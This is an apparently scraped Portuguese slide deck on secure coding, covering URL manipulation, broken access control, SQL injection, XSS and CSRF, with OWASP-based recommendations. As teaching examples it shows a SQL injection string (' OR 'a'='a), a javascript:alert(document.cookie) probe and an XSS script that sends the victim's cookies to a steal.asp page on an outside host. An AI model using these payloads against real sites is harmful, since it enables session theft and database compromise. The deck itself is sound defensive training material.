Lições praticas de codigo seguro

Preview:

Citation preview

Lições Práticas de Código Seguro

Quem sou eu?

• Arthur Paixão• 5 Anos de experiência na área de segurança da informação• Certificações:

EC-CSA (EcCouncil Certified Security Analyst) EC-CHFI (EcCouncil Computer Hacking Forensic Investigator)

• Diversos cursos de especialização na área:

INTEL, Fundação Bradesco, DragonJAR, Offensive Security

• Atualmente trabalho:Security Consulting & Pentester: Equipe de Resposta a Tratamento de

Incidentes de Segurança (CSIRT)Desenvolvedor: Java, Flex, PL-SQL, Oracle Forms (6i & 10g)

Agenda

A Evolução dos Ataques Application Security != Network Security Entendendo as táticas do inimigo O quanto segura deve ser sua aplicação? Custos que envolvem uma aplicação segura ? Porquê o PHP é tão vulnerável?

Agenda

Principais Ameaças: Injeções Cross-Site Scripting (XSS)Referência direta à objetos Cross-Site Request Forgery (CSRF)Falha na Restrição de Acesso à URLsURL Manipulation

Agenda

Principais Ameaças:Canal InseguroRedirecionamentos Não-Validados

Segurança é ...?

É tudo a mesma coisa?

Application Security != Network Security

X

Evolução dos Ataques

A evolução dos ataques.

Onde identificar falhas?

No início, ao não identificar as necessidades de segurança

Na criação de arquiteturas conceituais que possuam erros de lógica

No uso de más práticas de programação que introduzam vulnerabilidades técnicas

Na implementação do software de modo inapropriado Na inserção de falhas durante a manutenção ou a

atualização

Onde identificar falhas?

Vulnerabilidades de software podem ter um escopo muito maior do que o do próprio software.

• O software e sua informação associada• O sistema operacional dos servidores associados• A base de dados do backend.• Outras aplicações em um ambiente compartilhado• O sistema do usuário• Outros softwares com os quais o usuário interage

URL Manipulation

O comando GET requisita informações importantes na URL.

Os parâmetros podem ser manipulados para se obter resultados satisfatórios.

O impacto é ALTO. Variações podem ser feitas para se tentar obter

resultados interessantes.

http://www.vitima.com/exemplo?usuario=arthurpaixao&senha=123

Falha na Restrição de Acesso à URLs

Exposição do nível de privilégio.É possível forçar outros níveis

(admin, manager, etc)

Falha na Restrição de Acesso à URLs

Recomendações:Restrição de acesso em várias

camadas.Bloqueie requisições à tipos não

autorizados de arquivos (configurações, logs, fontes, etc.)

SQL Injection

A ideia é injetar um comando SQL (Structured Query Language) ou comando como imput dos dados em um formulário WEB.

Todos os parâmetros passados são direcionados para o banco de dados.

O atacante pode manipular com as tabelas e dados diretamente.

SQL Injection

• Client-Side: (O Truque Ninja) ' OR 'a'='a

•Server-Side:SELECT id FROM usuariosWHERE nome = '$nome'AND senha = '' OR 'a'='a';

Injections em Geral

Recomendações: Tratamento de entradas Validação por whitelist Minimize os privilégios OWASP:

SQL_Injection_Prevention_Cheat_Sheet

Cross-Site Scripting (XSS)

Enviados ao browser do usuário Posts, URLs, javascript, etc... Todo Browser é “vulnerável”:

javascript:alert(document.cookie) Redirecionamento e/ou roubo de dados

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS)

• Esta vulnerabilidade tira vantagens de sites que não fazem o tratamento dos dados de entrada.

• O POST contém um script que pode ser executado via browser.

<script>window.navigate("http://site.com/steal.asp?cookie="+document.cookie)

</script>

Cross-Site Scripting (XSS)

• Ataque de XSS Persistente Dados enviados sem tratamento para

usuários.

Cross-Site Scripting (XSS)

• Ataque de XSS Não Persistente Dados enviados de volta sem tratamento e

executado no browser da vítima.

Cross-Site Scripting (XSS)

• Ataque de XSS DOM Código executado no browser utilizando

elementos do DOM. Não há falha no servidor

Cross-Site Scripting (XSS)

• Recomendações: Validação de entrada Validação de saída Validação de elementos do DOM OWASP

XSS Prevention Cheat Sheet

Cross Site Request Forgery (CSRF)

• Browsers enviam alguns tipos de credenciais automaticamente em cada requisição.

Cookies

Cabeçalhos

Endereço IP

Certificados SSL

Cross Site Request Forgery (CSRF)

• Recomendações: Autenticações forcadas em requisições

sensíveis. Controle exposição de dados utilizados

como credenciais. OWASP:

CSRF_Prevention_Cheat_Sheet

Referência

• www.usecurity.com.br

• www.owasp.org

• www.thehackernews.com

• www.guiadohacker.com.br/forum

• www.remote-execution.blogspot.com.br

• www.securitytube.net

arthur.paixao@usecurity.com.brfacebook.com/arthur.paixaotwitter.com.br/arthurpaixao